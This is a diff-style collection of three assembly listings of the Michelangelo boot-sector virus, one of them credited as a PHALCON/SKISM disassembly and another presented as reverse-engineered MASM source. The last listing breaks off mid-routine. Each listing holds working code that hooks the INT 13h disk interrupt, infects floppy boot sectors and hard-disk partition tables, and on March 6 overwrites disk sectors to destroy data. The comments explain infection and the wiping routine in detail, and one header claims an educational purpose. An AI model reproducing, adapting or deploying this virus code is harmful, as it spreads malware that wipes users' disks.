CALL DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; TO THE VIRUS
|
||||
|
||||
PUSHF ; ON RETURN
|
||||
CALL INFECT_FLOPPY ; ATTEMPT INFECT
|
||||
|
||||
POPF ;ATTEMPTED INFECT RETURN
|
||||
RETF 2 ;TO ORGINAL INT CALLER
|
||||
|
||||
BIOS_INT13:
|
||||
POP AX ;LET BIOS HANDLE
|
||||
POP DS ;THE CALL
|
||||
JMP DWORD PTR CS:[OLD_INT13_IP - 7C00H] ;
|
||||
|
||||
INFECT_FLOPPY:
|
||||
PUSH AX BX CX DX DS ES SI DI
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
MOV SI,04 ;RETRY COUNTER
|
||||
|
||||
READ_LP:
|
||||
MOV AX,201H ; SETUP TO READ BOOT SECTOR
|
||||
MOV BX,0200H ; TO END OF VIRUS
|
||||
MOV CX,01 ;
|
||||
XOR DX,DX ;
|
||||
|
||||
PUSHF ;FAKE A INT 13 CALL
|
||||
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ;
|
||||
JNB NO_ERROR ;
|
||||
|
||||
TRY_AGAIN: ; IF ERROR
|
||||
XOR AX,AX ; RESET DRIVE
|
||||
PUSHF ; AND TRY AGAIN FOR
|
||||
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; COUNT OF 4
|
||||
DEC SI ; USING SI
|
||||
JNZ READ_LP ;
|
||||
|
||||
JMP SHORT ERROR_EXIT ;PROBALY WRITE PROTECT
|
||||
;GET OUT
|
||||
NO_ERROR:
|
||||
XOR SI,SI
|
||||
|
||||
CHK_FOR_INFECTION:
|
||||
CLD ; CHECK FIRST 2 BYTES
|
||||
LODSW ; TO VIRUS
|
||||
CMP AX,[BX] ;
|
||||
JNZ NOT_INFECTED_A ; NOT MATCH GO INFECT
|
||||
LODSW ; TRY NEXT 2 BYTES
|
||||
CMP AX,[BX+2] ;
|
||||
JZ ERROR_EXIT ; MATCH LEAVE
|
||||
|
||||
NOT_INFECTED_A:
|
||||
MOV AX,301H ; WRITE THE ORGINAL
|
||||
MOV DH,01 ; BOOT TO THE NEW
|
||||
MOV CL,03 ; LOCATION FIND
|
||||
CMP BYTE PTR [BX+15H],0FDH ; NEW LOCATION
|
||||
JZ LOW_DENS ; BY CHECKING IF 360
|
||||
|
||||
MOV CL,0EH ; OR 1.2
|
||||
|
||||
LOW_DENS:
|
||||
MOV [LOC_ORG_BOOT - 7C00H],CX ;SAVE NEW LOCATION
|
||||
|
||||
PUSHF ; CALL TO
|
||||
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; INT 13
|
||||
JB ERROR_EXIT
|
||||
|
||||
UPDATE_END:
|
||||
MOV SI,3BEH ; COPY LAST
|
||||
MOV DI,1BEH ; 21 BYTES FROM
|
||||
MOV CX,21H ; ORGINAL BOOT
|
||||
CLD ; SECTOR
|
||||
REPZ MOVSW ; TO VIRUS
|
||||
|
||||
MOV AX,0301H ; WRITE VIRUS
|
||||
XOR BX,BX ; TO BOOT SECTOR
|
||||
MOV CX,01 ; SECTOR 1
|
||||
XOR DX,DX ; DRIVE A HEAD A
|
||||
|
||||
PUSHF ;INT 13
|
||||
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ;
|
||||
|
||||
ERROR_EXIT:
|
||||
POP DI SI ES DS DX CX BX AX ; RESTORE REGS
|
||||
RET ; LEAVE
|
||||
|
||||
START1:
|
||||
XOR AX,AX ;WHERE WE JUMP TO
|
||||
MOV DS,AX ;AT BOOT UP TIME
|
||||
CLI ;SET UP STACK
|
||||
MOV SS,AX ;
|
||||
MOV AX,7C00H ;
|
||||
MOV SP,AX ;
|
||||
STI ;
|
||||
|
||||
PUSH DS ; SET UP FOR RETF
|
||||
PUSH AX ; LATER
|
||||
|
||||
MOV AX,DS:[INT13_IP] ;SAVE OLD INT 13
|
||||
mov [OLD_INT13_IP],AX ;VECTORS
|
||||
|
||||
MOV AX,DS:[INT13_CS] ;
|
||||
MOV [OLD_INT13_CS],AX ;
|
||||
|
||||
MOV AX,DS:[MEM_SIZE] ;DEC MEMORY SIZE
|
||||
DEC AX ;
|
||||
DEC AX ;
|
||||
MOV DS:[MEM_SIZE],AX ;
|
||||
|
||||
MOV CL,06H ;CONVERT SIZE TO
|
||||
SHL AX,CL ;SEGMENT ADDRESS
|
||||
MOV ES,AX ;
|
||||
|
||||
MOV [HIGH_SEG],AX ;SAVE ADDRESS
|
||||
|
||||
MOV AX, OFFSET VIR_INT13 - 7C00H ; SET UP INT 13 TO
|
||||
MOV DS:[INT13_IP],AX ; POINT TO US
|
||||
MOV DS:[INT13_CS],ES ;
|
||||
|
||||
MOV CX,1BEH ;OFFSET END_VIR - OFFSET M_START
|
||||
MOV SI,7C00H ;COPY VIRAL CODE UP IN MEMORY
|
||||
XOR DI,DI ;
|
||||
CLD ;
|
||||
REPZ MOVSB ;
|
||||
|
||||
JMP DWORD PTR CS:[JMP_HI_MEM] ;GO THERE
|
||||
|
||||
HI_MEM:
|
||||
XOR AX,AX ; RESET DRIVE
|
||||
MOV ES,AX ; SET UP ES SEGMENT TO 0
|
||||
INT 13H ;
|
||||
|
||||
PUSH CS ;DS POINTS HERE
|
||||
POP DS ;
|
||||
|
||||
MOV AX,0201H ;READ ORGINAL BOOT
|
||||
MOV BX,7C00H ;
|
||||
MOV CX,[LOC_ORG_BOOT - 7C00H] ;
|
||||
CMP CX,0007H ;
|
||||
JNZ FLOPPY
|
||||
|
||||
H_DRIVE:
|
||||
MOV DX,0080H ; READ ORGINAL
|
||||
INT 13H ; BOOT FROM HARD DRIVE
|
||||
JMP SHORT GET_DATE ; CHECK DATE
|
||||
|
||||
FLOPPY:
|
||||
MOV CX,[LOC_ORG_BOOT - 7C00H] ;READ ORGINAL
|
||||
MOV DX,100H ;BOOT FROM FLOPPY
|
||||
INT 13H ;
|
||||
JB GET_DATE ; IF ERROR CHECK DATE
|
||||
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
HD_INFECT:
|
||||
MOV AX,0201H ;READ 1 SECTOR
|
||||
mov bx,0200h ;TO BUFFER
|
||||
mov cx,0001h ;SECTOR 1
|
||||
MOV DX,0080H ;HEAD 0 DISK C:
|
||||
INT 13H
|
||||
|
||||
JB GET_DATE ;IF ERROR
|
||||
|
||||
CHK_BOOT:
|
||||
XOR SI,SI
|
||||
CLD
|
||||
LODSW
|
||||
CMP AX,[BX]
|
||||
JNE NOT_INFECTED
|
||||
LODSW
|
||||
CMP AX,[BX+2]
|
||||
JNE NOT_INFECTED
|
||||
|
||||
GET_DATE:
|
||||
XOR CX,CX ;GET DATE
|
||||
MOV AH,04 ;
|
||||
INT 1AH ;
|
||||
CMP DX,0306H ;IS IT MARCH 6
|
||||
JZ TRASH_DISK ;
|
||||
RETF ;BIOS_BOOT
|
||||
|
||||
;******************************************************************
|
||||
; TRASH DISK ROUTTINE SIMPLY WRITE MEMORY DATA FROM
|
||||
; 5000:5000 TO THE DISKS FIRST 9 SECTORS UNTIL AN ERROR HITS IT
|
||||
;
|
||||
|
||||
TRASH_DISK:
|
||||
XOR DX,DX
|
||||
MOV CX,1
|
||||
D_LOOP:
|
||||
MOV AX,0309H ;WRITE DISK 9 SECTORS
|
||||
MOV SI,[LOC_ORG_BOOT - 7C00H]
|
||||
CMP SI,+03
|
||||
JE FLPPY_DISK
|
||||
|
||||
MOV AL,0EH
|
||||
CMP SI,+0EH
|
||||
JE FLPPY_DISK
|
||||
|
||||
MOV DL,80H
|
||||
MOV BYTE PTR [DESTROY_CNT - 7C00H],04
|
||||
MOV AL,11H
|
||||
FLPPY_DISK:
|
||||
MOV BX,5000H
|
||||
MOV ES,BX
|
||||
INT 13H
|
||||
|
||||
JNB NO_ERROR_DESTROY
|
||||
|
||||
;RESET_DISK
|
||||
XOR AH,AH
|
||||
INT 13H
|
||||
|
||||
NO_ERROR_DESTROY:
|
||||
INC DH
|
||||
CMP DH,[DESTROY_CNT - 7C00H]
|
||||
JB D_LOOP
|
||||
|
||||
XOR DH,DH
|
||||
INC CH
|
||||
JMP SHORT D_LOOP
|
||||
|
||||
;*********************************************************************
|
||||
|
||||
NOT_INFECTED:
|
||||
;HD ; INFECT HD
|
||||
MOV CX,0007 ; BY WRITING
|
||||
MOV [LOC_ORG_BOOT - 7C00H],CX ; ORGINAL BOOT
|
||||
MOV AX,0301H ; TO HEAD 0 SECTOR 7
|
||||
MOV DX,0080H ; TRACK 0
|
||||
INT 13H ;
|
||||
JB GET_DATE ;
|
||||
|
||||
;UPDATE_PARTION:
|
||||
MOV SI,03BEH ;IMPORTANT TO UPDATE
|
||||
MOV DI,01BEH ;PARTION TABLE
|
||||
MOV CX,21H ;
|
||||
REPZ MOVSW ;
|
||||
|
||||
MOV AX,0301H ;NOW WRITE VIRUS
|
||||
XOR BX,BX ;TO HARD DRIVE
|
||||
INC CL ;
|
||||
INT 13H
|
||||
JMP SHORT GET_DATE
|
||||
;THE REST IS WHERE THE PARTION TABLE INFO GOES OR END OF FLOPPY DISK
|
||||
;BOOT SECTOR GOES
|
||||
|
||||
ORG 7DBEH
|
||||
END_VIR:
|
||||
|
||||
DB 00
|
||||
ORG 7DFEH
|
||||
BOOT_ID DB 55H,0AAH
|
||||
|
||||
micha ENDS
|
||||
END START
|
||||
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
|
||||
; This is a disassembly of the much-hyped michelangelo virus.
|
||||
; As you can see, it is a derivative of the Stoned virus. The
|
||||
; junk bytes at the end of the file are probably throwbacks to
|
||||
; the Stoned virus. In any case, it is yet another boot sector
|
||||
; and partition table infector.
|
||||
|
||||
michelangelo segment byte public
|
||||
assume cs:michelangelo, ds:michelangelo
|
||||
; Disassembly by Dark Angel of PHALCON/SKISM
|
||||
org 0
|
||||
|
||||
jmp entervirus
|
||||
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||||
maxhead db 2 ; used by damagestuff
|
||||
firstsector dw 3
|
||||
oldint13h dd 0C8000256h
|
||||
|
||||
int13h:
|
||||
push ds
|
||||
push ax
|
||||
or dl, dl ; default drive?
|
||||
jnz exitint13h ; exit if not
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||||
jnz exitint13h ; if not spinning, exit
|
||||
pop ax
|
||||
pop ds
|
||||
pushf
|
||||
call dword ptr cs:[oldint13h]; first call old int 13h
|
||||
pushf
|
||||
call infectdisk ; then infect
|
||||
popf
|
||||
retf 2
|
||||
exitint13h: pop ax
|
||||
pop ds
|
||||
jmp dword ptr cs:[oldint13h]
|
||||
|
||||
infectdisk:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov si, 4
|
||||
readbootblock:
|
||||
mov ax,201h ; Read boot block to
|
||||
mov bx,200h ; after virus
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call oldint13h
|
||||
jnc checkinfect ; continue if no error
|
||||
xor ax,ax
|
||||
pushf
|
||||
call oldint13h ; Reset disk
|
||||
dec si ; loop back
|
||||
jnz readbootblock
|
||||
jmp short quitinfect ; exit if too many failures
|
||||
checkinfect:
|
||||
xor si,si
|
||||
cld
|
||||
lodsw
|
||||
cmp ax,[bx] ; check if already infected
|
||||
jne infectitnow
|
||||
lodsw
|
||||
cmp ax,[bx+2] ; check again
|
||||
je quitinfect
|
||||
infectitnow:
|
||||
mov ax,301h ; Write old boot block
|
||||
mov dh,1 ; to head 1
|
||||
mov cl,3 ; sector 3
|
||||
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||||
je is360Kdisk
|
||||
mov cl,0Eh
|
||||
is360Kdisk:
|
||||
mov firstsector,cx
|
||||
pushf
|
||||
call oldint13h
|
||||
jc quitinfect ; exit on error
|
||||
mov si,200h+offset partitioninfo
|
||||
mov di,offset partitioninfo
|
||||
mov cx,21h ; Copy partition table
|
||||
cld
|
||||
rep movsw
|
||||
mov ax,301h ; Write virus to sector 1
|
||||
xor bx,bx
|
||||
mov cx,1
|
||||
xor dx,dx
|
||||
pushf
|
||||
call oldint13h
|
||||
quitinfect:
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
entervirus:
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,ax
|
||||
mov ax,7C00h ; Set stack to just below
|
||||
mov sp,ax ; virus load point
|
||||
sti
|
||||
push ds ; save 0:7C00h on stack for
|
||||
push ax ; later retf
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||||
mov ax,ds:[413h] ; memory size in K
|
||||
dec ax ; 1024 K
|
||||
dec ax
|
||||
mov ds:[413h],ax ; move new value in
|
||||
mov cl,6
|
||||
shl ax,cl ; ax = paragraphs of memory
|
||||
mov es,ax ; next line sets seg of jmp
|
||||
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||||
mov ax,offset int13h
|
||||
mov ds:[13h*4],ax
|
||||
mov ds:[13h*4+2],es
|
||||
mov cx,offset partitioninfo
|
||||
mov si,7C00h
|
||||
xor di,di
|
||||
cld
|
||||
rep movsb ; copy to high memory
|
||||
; and transfer control there
|
||||
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||||
; destination of highmem jmp
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
int 13h ; reset disk
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,201h
|
||||
mov bx,7C00h
|
||||
mov cx,firstsector
|
||||
cmp cx,7 ; hard disk infection?
|
||||
jne floppyboot ; if not, do floppies
|
||||
mov dx,80h ; Read old partition table of
|
||||
int 13h ; first hard disk to 0:7C00h
|
||||
jmp short exitvirus
|
||||
floppyboot:
|
||||
mov cx,firstsector ; read old boot block
|
||||
mov dx,100h ; to 0:7C00h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
push cs
|
||||
pop es
|
||||
mov ax,201h ; read boot block
|
||||
mov bx,200h ; of first hard disk
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
xor si,si
|
||||
cld
|
||||
lodsw
|
||||
cmp ax,[bx] ; is it infected?
|
||||
jne infectharddisk ; if not, infect HD
|
||||
lodsw ; check infection
|
||||
cmp ax,[bx+2]
|
||||
jne infectharddisk
|
||||
exitvirus:
|
||||
xor cx,cx ; Real time clock get date
|
||||
mov ah,4 ; dx = mon/day
|
||||
int 1Ah
|
||||
cmp dx,306h ; March 6th
|
||||
je damagestuff
|
||||
retf ; return control to original
|
||||
; boot block @ 0:7C00h
|
||||
damagestuff:
|
||||
xor dx,dx
|
||||
mov cx,1
|
||||
smashanothersector:
|
||||
mov ax,309h
|
||||
mov si,firstsector
|
||||
cmp si,3
|
||||
je smashit
|
||||
mov al,0Eh
|
||||
cmp si,0Eh
|
||||
je smashit
|
||||
mov dl,80h ; first hard disk
|
||||
mov maxhead,4
|
||||
mov al,11h
|
||||
smashit:
|
||||
mov bx,5000h ; random memory area
|
||||
mov es,bx ; at 5000h:5000h
|
||||
int 13h ; Write al sectors to drive dl
|
||||
jnc skiponerror ; skip on error
|
||||
xor ah,ah ; Reset disk drive dl
|
||||
int 13h
|
||||
skiponerror:
|
||||
inc dh ; next head
|
||||
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||||
jb smashanothersector
|
||||
xor dh,dh ; go to next head/cylinder
|
||||
inc ch
|
||||
jmp short smashanothersector
|
||||
infectharddisk:
|
||||
mov cx,7 ; Write partition table to
|
||||
mov firstsector,cx ; sector 7
|
||||
mov ax,301h
|
||||
mov dx,80h
|
||||
int 13h
|
||||
jc exitvirus
|
||||
mov si,200h+offset partitioninfo ; Copy partition
|
||||
mov di,offset partitioninfo ; table information
|
||||
mov cx,21h
|
||||
rep movsw
|
||||
mov ax,301h ; Write to sector 8
|
||||
xor bx,bx ; Copy virus to sector 1
|
||||
inc cl
|
||||
int 13h
|
||||
;* jmp short 01E0h
|
||||
db 0EBh, 32h ; ?This should crash?
|
||||
; The following bytes are meaningless.
|
||||
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||||
partitioninfo: db 42h dup (0)
|
||||
michelangelo ends
|
||||
end
|
||||
@@ -0,0 +1,322 @@
|
||||
TITLE MICHELANGELO, a STONED - derived Boot Virus
|
||||
SUBTTL reverse engineered source code for MASM 5.1/6.0
|
||||
|
||||
PAGE 60,132
|
||||
.RADIX 16
|
||||
|
||||
IF1
|
||||
%Out ÉÍ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION Í»
|
||||
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||||
%Out º°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°º
|
||||
%Out º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄ´ M I C H E L A N G E L O ÃÄÄÄÄÄÄÄÄÄÄÄÄÄݰº
|
||||
%Out º°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°º
|
||||
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||||
%Out ÈÍÍ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 Íͼ
|
||||
ENDIF
|
||||
|
||||
comment #
|
||||
|
||||
! !
|
||||
! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, !
|
||||
! Caprese, Republic of Florence ... !
|
||||
! This boot block / partition table virus will overwrite most of the !
|
||||
! data on eiter floppy disks or winchester drives at HIS birthday. !
|
||||
! !
|
||||
! This source code may only be used for educational purposes! !
|
||||
! !
|
||||
! Do not offend the law by distributing viral or trojan horse soft- !
|
||||
! ware to anybody who is not aware of the potential danger of the !
|
||||
! software he receives. !
|
||||
! !
|
||||
|
||||
#
|
||||
|
||||
B equ <BYTE>
|
||||
D equ <DWORD>
|
||||
O equ <OFFSET>
|
||||
P equ <PTR>
|
||||
S equ <SHORT>
|
||||
T equ <THIS>
|
||||
v equ <OR>
|
||||
W equ <WORD>
|
||||
|
||||
|
||||
SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
|
||||
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
|
||||
IFNB <_X>
|
||||
IFIDN <_X>,<F>
|
||||
PUSHF
|
||||
ELSE
|
||||
PUSH _X
|
||||
ENDIF
|
||||
ENDIF
|
||||
ENDM
|
||||
ENDM
|
||||
|
||||
REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
|
||||
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
|
||||
IFNB <_X>
|
||||
IFIDN <_X>,<F>
|
||||
POPF
|
||||
ELSE
|
||||
POP _X
|
||||
ENDIF
|
||||
ENDIF
|
||||
ENDM
|
||||
ENDM
|
||||
|
||||
MOV_S MACRO S1,S2
|
||||
SAVE S2
|
||||
REST S1
|
||||
ENDM
|
||||
|
||||
TEXT SEGMENT PARA PUBLIC 'CODE'
|
||||
|
||||
ASSUME CS:TEXT,DS:TEXT,ES:TEXT
|
||||
|
||||
ORG 0
|
||||
|
||||
MICHELANGELO = 0306 ; ... his BCD birthday
|
||||
;
|
||||
SECSIZE = 0200 ;
|
||||
WINCHESTER1 = 80 ;
|
||||
bREAD = 2 ;
|
||||
wREAD = bREAD SHL 8 ;
|
||||
bWRITE = 3 ;
|
||||
wWRITE = bWRITE SHL 8 ;
|
||||
;
|
||||
DTA = T B + SECSIZE ;
|
||||
;
|
||||
OR13OFF = T W + 04C ;
|
||||
OR13SEG = T W + 04E ;
|
||||
SYSRAM = T W + 413 ;
|
||||
MOSTAT = T B + 43F ;
|
||||
;
|
||||
PARTTBL = T B + 1BE ;
|
||||
;
|
||||
OFSFRM0 EQU 7C00 ;
|
||||
;
|
||||
START: JMP INIT ;
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
;
|
||||
SHDWRELOCOFS = T W + OFSFRM0 ;
|
||||
RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp
|
||||
SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code.
|
||||
RELOCSEG DW ? ;
|
||||
;
|
||||
HEADS DB ? ;
|
||||
;
|
||||
CYLSEG DW ? ;
|
||||
;
|
||||
SHDW13OFS = T W + OFSFRM0 ;
|
||||
BIOS13OFS DW ? ; Holds original (BIOS)
|
||||
SHDW13SEG = T W + OFSFRM0 ; int 13 vector.
|
||||
BIOS13SEG DW ? ;
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
;
|
||||
I13_ISR: SAVE DS,AX ; INT 13 SR, save regs
|
||||
OR DL,DL ; drive == A ?
|
||||
JNZ I13_EX ; jmp if not
|
||||
XOR AX,AX ; DS = 0
|
||||
MOV DS,AX ;
|
||||
TEST B P [MOSTAT],01 ; test diskette motor status:
|
||||
JNZ I13_EX ; jmp if motor is already on
|
||||
REST AX,DS ;
|
||||
SAVE F ; call old interrupt 13
|
||||
CALL D P CS:[BIOS13OFS] ; routine
|
||||
SAVE F ; save FLAGS
|
||||
CALL TstInfF ; test & infect if necessary
|
||||
REST F ; restore FLAGS
|
||||
RETF 2 ; return, preserve FLAGS
|
||||
;
|
||||
I13_EX: REST AX,DS ; restore regs, jmp to old int
|
||||
JMP D P CS:[BIOS13OFS] ; 13h routine
|
||||
;
|
||||
TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ;
|
||||
MOV_S DS,CS ; ES = DS = CS;
|
||||
MOV_S ES,CS ;
|
||||
MOV SI,0004 ; SI = 4 (maxretry counter)
|
||||
@@: MOV AX,wREAD v 1 ; AX : read one sector
|
||||
MOV BX,O DTA ; BX : ... to buffer at CS:200
|
||||
MOV CX,0001 ; CX : ... cylinder 0, sector 1
|
||||
XOR DX,DX ; DX : ... drive 0, head 0
|
||||
SAVE F ; call old int13 routine by
|
||||
CALL D P [BIOS13OFS] ; simulating an interrupt
|
||||
JNB @F ; jmp if there isn't an error,
|
||||
XOR AX,AX ; else reset disk system ...
|
||||
SAVE F ;
|
||||
CALL D P [BIOS13OFS] ;
|
||||
DEC SI ; decrement maxretry counter
|
||||
JNZ @B ; try it again if not zero,
|
||||
JMP S TstInfF_EX ; else jmp to exit in haste.
|
||||
;
|
||||
@@: XOR SI,SI ; boot sector has been read,
|
||||
CLD ; now test if disk already has
|
||||
LODSW ; been infected. Assume infect-
|
||||
CMP AX,[BX] ; ion if the first 4 bytes of
|
||||
JNZ @F ; MICHI and the boot sector are
|
||||
LODSW ; identical ...
|
||||
CMP AX,[BX+02] ;
|
||||
JZ TstInfF_EX ; exit, disk already infected
|
||||
@@: MOV AX,wWRITE v 1 ; AX : Write one sector
|
||||
MOV DH,01 ; DH : Head 1
|
||||
MOV CL,03 ; CL : Sector 3
|
||||
CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID
|
||||
JZ @F ; field of the original boot
|
||||
MOV CL,0E ; sector is not FD (5.25",360K)
|
||||
@@: MOV [CYLSEG],CX ; store CX
|
||||
SAVE F ; and write the original boot
|
||||
CALL D P [BIOS13OFS] ; sector to the floppy disk
|
||||
JB TstInfF_EX ; if an error occured,
|
||||
MOV SI,O PARTTBL + SECSIZE ; exit in haste.
|
||||
MOV DI,O PARTTBL ; Copy the last bytes of
|
||||
MOV CX,0021 ; the original boot sector to
|
||||
CLD ; the end of MICHI
|
||||
REP MOVSW ;
|
||||
MOV AX,wWRITE v 1 ; ... and write it to the boot
|
||||
XOR BX,BX ; sector of the disk.
|
||||
MOV CX,0001 ;
|
||||
XOR DX,DX ;
|
||||
SAVE F ;
|
||||
CALL D P [BIOS13OFS] ;
|
||||
TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
|
||||
RET ; ... return
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
;
|
||||
INIT: XOR AX,AX ; Set DS and SS to 0000,
|
||||
MOV DS,AX ; initialize SP to 7C00.
|
||||
CLI ; That's because the boot
|
||||
MOV SS,AX ; sector will loaded into
|
||||
MOV AX,OFSFRM0 ; memory at 0:7C00 on every
|
||||
MOV SP,AX ; IBM clone ...
|
||||
STI ;
|
||||
;
|
||||
SAVE DS,AX ; save (0000:7C00) on stack
|
||||
;
|
||||
MOV AX,[OR13OFF] ; Read old interrupt 13h vector
|
||||
MOV [SHDW13OFS],AX ; and save it
|
||||
MOV AX,[OR13SEG] ;
|
||||
MOV [SHDW13SEG],AX ;
|
||||
;
|
||||
MOV AX,[SYSRAM] ; Substract 2 from base memory
|
||||
DEC AX ; size variable in BIOS data
|
||||
DEC AX ; area
|
||||
MOV [SYSRAM],AX ;
|
||||
;
|
||||
MOV CL,06 ; ES = AX = segment part of huge
|
||||
SHL AX,CL ; ptr to area 2KB below last
|
||||
MOV ES,AX ; base memory location
|
||||
;
|
||||
MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp
|
||||
; to relocated code
|
||||
MOV AX,O I13_ISR ; Store ptr to new interrupt
|
||||
MOV [OR13OFF],AX ; 13 service routine to
|
||||
MOV [OR13SEG],ES ; interrupt table,
|
||||
MOV CX,O PARTTBL ; Relocate code,
|
||||
MOV SI,OFSFRM0 ;
|
||||
XOR DI,DI ;
|
||||
CLD ;
|
||||
REP MOVSB ;
|
||||
JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo-
|
||||
; cated code)(BUGGY)
|
||||
;
|
||||
FRSTRLCTD: XOR AX,AX ; Reset the disk system
|
||||
MOV ES,AX ;
|
||||
INT 13 ;
|
||||
MOV_S DS,CS ; ES = 0; DS = CS;
|
||||
MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read
|
||||
MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address
|
||||
MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector #
|
||||
;
|
||||
CMP CX,+07 ; Booted from winchester drive?
|
||||
JNZ @F ; jmp if not
|
||||
MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C
|
||||
INT 13 ; read the original boot sector
|
||||
JMP S BOOTNOW ; and jmp
|
||||
;
|
||||
@@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s
|
||||
MOV DX,0100 ; DH = head 1, DL = drive A
|
||||
INT 13 ; and read the sector ...
|
||||
JB BOOTNOW ; (jmp on error, else continue)
|
||||
MOV_S ES,CS ; ES = CS;
|
||||
MOV AX,wREAD v 1 ; read partition table of 1st
|
||||
MOV BX,O DTA ; hard disk into buffer located
|
||||
MOV CX,0001 ; just after the relocated code
|
||||
MOV DX,0000 v WINCHESTER1 ;
|
||||
INT 13 ;
|
||||
JB BOOTNOW ; (jmp on error, else continue)
|
||||
XOR SI,SI ;
|
||||
CLD ; test if hard disk is already
|
||||
LODSW ; infected by comparing the 1st
|
||||
CMP AX,[BX] ; four bytes, if these are
|
||||
JNZ INFECT_PARTTBL ; identical assume that the
|
||||
LODSW ; hard disk already is infected
|
||||
CMP AX,[BX+02] ; and continue, else jmp to
|
||||
JNZ INFECT_PARTTBL ; infect procedure
|
||||
;
|
||||
BOOTNOW: XOR CX,CX ; read date from real time clock
|
||||
MOV AH,04 ; (will _not_ work on old BIOSes
|
||||
INT 1A ; that do not implement it)
|
||||
CMP DX,MICHELANGELO ; jmp if today is the
|
||||
JZ BIRTHDAY ; birthday of MICHELANGELO
|
||||
RETF ; 'return' to original boot sec-
|
||||
; tor code
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
;
|
||||
BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A
|
||||
MOV CX,0001 ; CH = cylinder 0; CL = sector 1
|
||||
BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs
|
||||
MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and
|
||||
CMP SI,+03 ; DL (drive code) depending on
|
||||
JZ @F ; the type of the current boot
|
||||
MOV AL,0E ; disk
|
||||
CMP SI,+0E ;
|
||||
JZ @F ;
|
||||
MOV DL,WINCHESTER1 ;
|
||||
MOV B P [HEADS],04 ;
|
||||
MOV AL,11 ;
|
||||
@@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000
|
||||
MOV ES,BX ;
|
||||
INT 13 ;
|
||||
JNB @F ;
|
||||
XOR AH,AH ; reset disk system if an error
|
||||
INT 13 ; occured
|
||||
@@: INC DH ; increment head (DH)
|
||||
CMP DH,[HEADS] ; head < maxhead? continue if
|
||||
JB BIRTHDAY_LOOP ; equal, else loop
|
||||
XOR DH,DH ;
|
||||
INC CH ; increment cylinder and loop
|
||||
JMP BIRTHDAY_LOOP ; ( goodbye data - cu never )
|
||||
;
|
||||
; -----------------------------------------------------------------------------
|
||||
;
|
||||
INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to
|
||||
MOV [CYLSEG],CX ; save the original partition
|
||||
MOV AX,wWRITE v 1 ; table and write it to disk
|
||||
